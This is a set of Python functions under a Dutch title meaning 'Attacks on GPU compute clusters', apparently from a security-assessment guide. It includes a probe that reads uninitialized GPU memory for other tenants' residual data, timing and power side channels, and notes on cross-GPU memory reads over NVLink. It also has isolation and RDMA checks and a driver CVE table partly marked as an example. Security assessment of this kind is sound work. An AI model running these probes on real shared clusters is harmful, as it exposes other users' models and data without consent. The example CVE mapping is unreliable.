Aanvallen op GPU-rekenclusters

import torch
import numpy as np
 
def probe_gpu_memory(allocation_size_mb: int = 512, num_probes: int = 10):
    """
    Probe GPU memory for residual data from previous allocations.
    In multi-tenant environments, this may contain fragments of
    other users' model weights, activations, or input data.
    """
    findings = []
 
    for probe_idx in range(num_probes):
        # Allocate without initialization — reads whatever is in memory
        tensor = torch.empty(
            allocation_size_mb * 1024 * 1024 // 4,  # float32 elements
            dtype=torch.float32,
            device="cuda"
        )
 
        # Analyze contents for non-zero patterns
        nonzero_ratio = (tensor != 0).float().mean().item()
        value_range = (tensor.min().item(), tensor.max().item())
 
        # Check for structured patterns (model weights have characteristic distributions)
        std = tensor.std().item()
        mean = tensor.abs().mean().item()
 
        if nonzero_ratio > 0.01:  # More than 1% non-zero indicates residual data
            findings.append({
                "probe": probe_idx,
                "nonzero_ratio": nonzero_ratio,
                "value_range": value_range,
                "std": std,
                "mean_abs": mean,
                "likely_content": classify_residual_data(std, mean),
            })
 
        del tensor
        torch.cuda.empty_cache()
 
    return findings
 
def classify_residual_data(std: float, mean_abs: float) -> str:
    """Heuristic classification of residual GPU memory contents."""
    if 0.01 < std < 0.1 and mean_abs < 0.05:
        return "likely_model_weights (small initialization)"
    elif 0.1 < std < 2.0:
        return "likely_activations_or_gradients"
    elif std > 10.0:
        return "likely_optimizer_state (Adam momentum/variance)"
    elif mean_abs < 1e-6:
        return "likely_zeroed_or_sparse"
    else:
        return "unknown_structured_data"

import torch
import time
 
def timing_side_channel_probe(target_gpu: int = 0):
    """
    Measure GPU kernel execution timing to infer characteristics
    of co-located workloads. Execution time correlates with:
    - Model size (number of parameters)
    - Batch size (number of inputs processed)
    - Sequence length (for transformer models)
    - Sparsity patterns in data
    """
    torch.cuda.set_device(target_gpu)
 
    timings = []
    for _ in range(1000):
        # Launch a small probe kernel
        probe = torch.randn(64, 64, device="cuda")
        torch.cuda.synchronize()
 
        start = time.perf_counter_ns()
        result = torch.matmul(probe, probe)
        torch.cuda.synchronize()
        end = time.perf_counter_ns()
 
        timings.append(end - start)
 
    timings = np.array(timings)
 
    # Timing variance indicates resource contention from co-located workloads
    return {
        "mean_ns": np.mean(timings),
        "std_ns": np.std(timings),
        "p99_ns": np.percentile(timings, 99),
        "bimodal": detect_bimodal_distribution(timings),
        "contention_detected": np.std(timings) > np.mean(timings) * 0.1,
    }
 
def detect_bimodal_distribution(data: np.ndarray) -> bool:
    """Bimodal timing suggests batch processing boundaries in co-located workload."""
    from scipy import stats
    _, p_value = stats.normaltest(data)
    return p_value < 0.001

def monitor_gpu_power_channel(duration_seconds: int = 60, sample_rate_hz: int = 10):
    """
    Monitor GPU power consumption as a side channel.
    Power draw patterns reveal:
    - Training vs. inference workload type
    - Batch processing cadence
    - Model architecture characteristics
    """
    import subprocess
    import time
 
    readings = []
    interval = 1.0 / sample_rate_hz
 
    for _ in range(duration_seconds * sample_rate_hz):
        # nvidia-smi provides power and utilization data
        result = subprocess.run(
            ["nvidia-smi",
             "--query-gpu=power.draw,utilization.gpu,temperature.gpu,memory.used",
             "--format=csv,noheader,nounits"],
            capture_output=True, text=True
        )
 
        if result.returncode == 0:
            values = result.stdout.strip().split(", ")
            readings.append({
                "timestamp": time.time(),
                "power_w": float(values[0]),
                "util_pct": float(values[1]),
                "temp_c": float(values[2]),
                "mem_used_mb": float(values[3]),
            })
 
        time.sleep(interval)
 
    return analyze_power_patterns(readings)
 
def analyze_power_patterns(readings: list) -> dict:
    """Extract workload characteristics from power consumption patterns."""
    powers = [r["power_w"] for r in readings]
    utils = [r["util_pct"] for r in readings]
 
    # Detect periodic patterns (training loop cadence)
    from scipy.signal import find_peaks
    peaks, properties = find_peaks(powers, height=np.mean(powers))
 
    if len(peaks) > 2:
        intervals = np.diff(peaks)
        cadence = np.median(intervals) / 10  # Convert to seconds
 
        return {
            "workload_type": "training" if cadence > 1.0 else "inference",
            "batch_cadence_seconds": cadence,
            "peak_power_w": max(powers),
            "avg_power_w": np.mean(powers),
        }
 
    return {"workload_type": "inference_or_idle", "avg_power_w": np.mean(powers)}

def assess_mig_isolation(gpu_index: int = 0):
    """Assess MIG partition isolation on NVIDIA A100/H100 GPUs."""
    import subprocess
    import json
 
    findings = []
 
    # List MIG instances
    result = subprocess.run(
        ["nvidia-smi", "mig", "-lgi", "-i", str(gpu_index)],
        capture_output=True, text=True
    )
    findings.append({"mig_instances": result.stdout})
 
    # Check MIG mode status
    result = subprocess.run(
        ["nvidia-smi", "--query-gpu=mig.mode.current", "--format=csv,noheader",
         "-i", str(gpu_index)],
        capture_output=True, text=True
    )
 
    mig_enabled = "Enabled" in result.stdout
 
    if not mig_enabled:
        findings.append({
            "severity": "HIGH",
            "finding": "MIG not enabled on multi-tenant GPU",
            "impact": "No hardware isolation between tenants",
        })
 
    # Even with MIG, check for shared resources
    findings.append({
        "note": "MIG isolates compute and memory but shares: "
                "PCIe bus, NVLink, video encoder/decoder, "
                "GPU management processor",
    })
 
    return findings

def enumerate_rdma_endpoints():
    """
    Enumerate RDMA-capable network interfaces and endpoints.
    RDMA traffic bypasses the kernel network stack, meaning
    standard firewall rules and network policies do not apply.
    """
    import subprocess
 
    findings = []
 
    # Check for RDMA devices
    result = subprocess.run(["ibv_devices"], capture_output=True, text=True)
    if result.returncode == 0:
        findings.append({
            "finding": "RDMA devices present",
            "devices": result.stdout,
            "severity": "INFO",
        })
 
    # Check for InfiniBand subnet manager
    result = subprocess.run(["ibstat"], capture_output=True, text=True)
    if result.returncode == 0:
        findings.append({
            "finding": "InfiniBand status",
            "status": result.stdout,
        })
 
    # Enumerate RDMA connections
    result = subprocess.run(
        ["rdma", "resource", "show", "cm_id"],
        capture_output=True, text=True
    )
    if result.returncode == 0:
        findings.append({
            "finding": "Active RDMA connections",
            "connections": result.stdout,
            "note": "These connections bypass kernel network stack and firewalls",
        })
 
    # Check for GPUDirect RDMA capability
    result = subprocess.run(
        ["nvidia-smi", "nvlink", "--status"],
        capture_output=True, text=True
    )
    if result.returncode == 0:
        findings.append({
            "finding": "NVLink status (GPUDirect capable)",
            "status": result.stdout,
        })
 
    return findings

def probe_nvlink_topology():
    """
    Map NVLink topology to identify potential cross-GPU
    data access paths. NVLink enables GPUDirect which allows
    one GPU to directly read/write another GPU's memory.
    """
    import subprocess
 
    result = subprocess.run(
        ["nvidia-smi", "topo", "-m"],
        capture_output=True, text=True
    )
 
    topology = result.stdout
 
    # Parse topology matrix for NVLink connections
    # NV# indicates NVLink connection with # links
    # SYS indicates cross-socket (slower)
    # PHB indicates same PCIe host bridge
 
    return {
        "topology": topology,
        "note": "GPUs connected via NVLink can perform direct memory "
                "access (peer-to-peer). If GPU 0 and GPU 1 are NVLink-connected "
                "and run different tenants' workloads, a CUDA program on GPU 0 "
                "can potentially read GPU 1's memory via cuMemcpyPeer.",
    }

def assess_cuda_attack_surface():
    """Enumerate CUDA stack components and known vulnerability exposure."""
    import subprocess
 
    components = {}
 
    # Driver version
    result = subprocess.run(
        ["nvidia-smi", "--query-gpu=driver_version", "--format=csv,noheader"],
        capture_output=True, text=True
    )
    components["driver_version"] = result.stdout.strip()
 
    # CUDA version
    result = subprocess.run(
        ["nvcc", "--version"], capture_output=True, text=True
    )
    components["cuda_version"] = result.stdout
 
    # Check for known vulnerable driver versions
    driver_ver = components["driver_version"]
    known_vulnerable = {
        "535.104": ["CVE-2024-0071"],  # Example
        "535.86": ["CVE-2023-31021"],
    }
 
    for vuln_ver, cves in known_vulnerable.items():
        if driver_ver.startswith(vuln_ver):
            components["vulnerabilities"] = cves
 
    return components